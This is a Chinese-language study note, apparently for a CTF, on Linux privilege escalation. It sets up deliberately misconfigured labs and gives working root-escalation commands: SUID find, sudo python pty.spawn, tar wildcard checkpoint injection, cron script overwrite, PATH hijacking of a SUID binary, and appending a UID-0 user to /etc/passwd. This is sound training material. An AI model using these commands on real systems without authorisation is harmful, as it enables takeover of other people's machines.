近期准备车联网比赛,看到linux提权是一个非常重要的得分点,进行了系统的学习,这里记录一下学习成果
suid提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。为可执行文件 添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
普通可执行文件可能长这样:-rwxr-xr-x root root /usr/bin/find
带 SUID 后可能长这样:-rwsr-xr-x root root /usr/bin/find
这个s就是SUID
如果一个 SUID root 程序能做这些事,就危险:
执行系统命令/启动 shell/写任意文件/读取敏感文件
加载插件/脚本/调用编辑器/调用解释器
支持 -exec、--command、--script 这类参数
寻找suid程序
1 | find / -perm -4000 -type f 2>/dev/null |
可以去查看find权限
1 | ls -l /usr/bin/find |
如果 find 是普通权限,这只是普通 shell。
但如果 find 是 SUID root,它执行出来的 shell 就可能是 root shell。
eg:find提权
伪造
以find为例,发现普通用户时find没有suid权限,root账户为它赋权

实操
看到:
1 | ls -l /system/bin/find |
输出:-rwsr-xr-x root root /system/bin/find
说明 find 是 SUID root。
1 | /usr/bin/find . -exec /usr/bin/sh -p \; -quit |
解释:
1 | /usr/bin/find 运行 SUID find |

sudo提权
利用 Linux 中 sudo 权限配置不当,从普通用户提升到 root 权限的过程。
简单理解:
sudo 本来是管理员给普通用户“临时使用管理员权限”的机制,如果配置错误,普通用户可能获得完整 root 权限。
查看当前用户的sudo权限

1 | (ALL : ALL) ALL |
此时允许kali账户通过sudo 以root权限执行所有命令,但是还是要输命令
我们在正式使用该方法时可重点考虑NOPASSWD的情况
eg:python可执行权限
伪造
可以先创建一个user1用户
然后打开/etc/sudoers文件修改其相关执行权限
加入
1 | user1 ALL=(root) NOPASSWD: /usr/bin/python |

之后切换回user1用户
执行
需要知道各个用户的sudo权限
1 >sudo -l该命令有时有时会被特意设计为普通用户可执行
用户 user1 可以无需输入密码,以 root 身份运行 /usr/bin/python
创建并且写入提权命令
1 | sudo python -c 'import pty;pty.spawn("/bin/bash")' |

内核漏洞提权
普通用户通过一个内核 bug,让内核错误地把自己变成 root
在 Linux/Android 里执行任何操作,都会经过内核:普通用户不能直接改内核内存,但可以通过这些“入口”请求内核做事。
利用内核漏洞提取一般三个环节:
首先对目标系统进行信息收集,获取系统内核信息及版本信息
第二步,根据内核版本获取对应的漏洞以及exp
第三步,使用exp对目标进行攻击,完成提权
安装searchsploit
1 | sudo apt update |
查内核版本
1 | uname -a |
eg:Linux target 4.4.0-116-generic x86_64
更新 exploit 数据库
1 | sudo searchsploit -u |
搜索漏洞
1 | searchsploit ubuntu 4.4.0 |
查看搜索脚本
1 | searchsploit -x 45010 |
确认:影响版本/编译方法/使用方法
赋值过拉编译执行
1 | searchsploit -m 45010 |
Cronjobs提权
如果 root 用户的定时任务会执行一个普通用户可以修改的文件,那么普通用户就可以控制 root 执行的内容,从而获得 root 权限。
Cron: Linux 的定时任务服务。(常见位置/etc/crontab)
例如:
每天凌晨备份:0 2 * * * /backup.sh
表示:每天 2 点执行:/backup.sh
查看定时任务
1 | cat /etc/crontab |

1 | # * * * * * user-name command to be executed |
1 | 17 * * * * root cd / && run-parts --report /etc/cron.hourly |
每小时第17分钟,root进入 /,然后执行 /etc/cron.hourly 目录里面所有脚本。
通配符提权
root 的定时任务执行了带 * 通配符的命令,而普通用户可以控制 * 展开的文件名,从而让文件名变成 tar 参数。
伪造
以root用户执行下面的命令创建目录:
1 | mkdir /tmp/backup |
给普通用户写权限:
1 | chmod 777 /tmp/backup |
让所有用户 可以创建/删除文件

创建 root 执行的备份脚本
1 | nano /tmp/tar_backup.sh |
写入:
1 | #!/bin/bash |
*会被 Shell 展开成目录中的文件名
赋予执行:
1 | chmod +x /tmp/tar_backup.sh |
编辑 root 的 crontab:
1 | * * * * * /tmp/tar_backup.sh |
攻击
1 | cd /tmp/backup |
创建执行脚本
1 | nano shell.sh |
内容
1 | #!/bin/bash |
并且赋予执行权限chmod +x shell.sh
此时实际执行的是
1
2
3
4 >tar -czf /tmp/backup.tar.gz \
>--checkpoint=1 \
>--checkpoint-action=exec=sh shell.sh \
>shell.sh
之后
1 | /bin/bash -p |
就看到了提权成功

Crontab 文件覆盖提权
条件1:存在root执行的cron
条件2:普通用户可以修改这个脚本
条件3:cron执行的是脚本,而不是固定二进制
伪造
先用 root 权限创建:
1 | sudo nano /tmp/backup.sh |
写入:
1 | #!/bin/bash |
让用户可写
1 | sudo chmod 777 /tmp/backup.sh |
查看:
1 | ls -l /tmp/backup.sh |

1 | rwxrwxrwx |
在定时任务中写入
1 | * * * * * root /tmp/backup.sh |
执行
1 | cat /etc/crontab |

看到漏洞文件存在,利用漏洞
把/tmp/backup.sh文件内容替换为
1 | #!/bin/bash |
因为/tmp/backup.sh是一分钟执行一次
1 | watch -n 1 ls -l /bin/bash |

看到s就代表他已经有了suid权限
进行suid攻击
1 | /bin/bash -p |

环境变量提权
PATH是Linux和类Unix操作系统中的环境变量 ,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。
在现代 Linux 系统中,/bin/bash 和 /bin/dash 包含一种自我保护机制。当 shell 启动时,它会对比当前进程的两个关键标识:
RUID (Real UID):实际执行该程序的用户的 UID(例如普通用户是 1000)。
EUID (Effective UID):进程当前生效的权限 UID(如果是 SUID root 程序,此处为 0)。
安全判定:如果 bash 发现 RUID != EUID,它会判定这是一种潜在的权限滥用,并自动将 EUID 降级回 RUID。这意味着你拿到的是一个普通用户 shell,而不是 root shell
suid文件调用
伪造环境
管理员创建demo.c文件
执行查看shadow 文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置:
存在漏洞的 SUID 二进制文件源码里通常有一句
setuid(0);如果 SUID 程序主动调用了setuid(0),它的 RUID 就变成了 0,后续依靠 PATH 劫持调用的bash发现 RUID(0) == EUID(0),就不会触发降权。
文件内容
1 | #include <unistd.h> |
之后编译并且赋suid权限
1 | gcc demo.c -o demo |
执行demo文件即执行cat /etc/shadow命令
攻击
找到有suid权限的文件
1 | find / -perm -u=s -type f 2>/dev/null |
看到有这个demo文件,伪造cat
1 | echo "/bin/bash -p" > cat |
并修改环境变量,让程序去执行cat的时候先执行我们伪造的cat
1 | export PATH=~/Desktop:$PATH #将tmp目录添加环境变量echo $PATH |
直后执行就可以拿到root权限

/etc/passwd 提权
利用系统管理员配置错误,导致普通用户对 /etc/passwd 文件拥有可写权限(如 rw-rw-rw-)。攻击者通过向该文件直接追加一个 UID 为 0 的新用户,或修改现有 root 用户的密码字段,从而获取系统最高权限。
环境伪造
给/etc/passwd文件赋予读写权限
1 | chmod 666 /etc/passwd |
攻击
系统底层不比对明文 Linux 的身份验证程序(如
su或login)在底层校验时,采用的是单向哈希(Hash)比对机制,它从来不直接拿输入的字符和文件里的字符划等号。如果直接放明文会发生什么?
- 假设在
/etc/passwd里直接写入明文:test:123456:0:0...- 终端登录
su test,手动输入密码:123456。- 系统处理逻辑:系统会把输入的
123456用哈希算法加密,算出一串密文(例如x8f9a2b...)。- 比对失败:系统拿算出来的密文
x8f9a2b...去跟文件里存的123456进行字符串对比。显然不相等,直接提示密码错误。为什么要先算好密文再写入? 写入
/etc/passwd的必须是加密后的结果。 你用 Perl 或 OpenSSL,就是在做“提前加密”的工作。把算好的密文写进文件,等你登录时输入明文,系统一加密,刚好和文件里的密文对上,才能认证成功。
先是计算密文
1 | perl -le 'print crypt("password@123", "addedsalt")' |
写入/etc/passwd文件中
之后进入test账户就好
1 | echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd |

切为test账户时
test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash。它严格以冒号:为分隔符,将这行文本切分成 7 段。提取身份标识:系统按顺序去读第三段文本。因为你写入的是
0,系统就读取到整数0,并将其作为该用户的 UID。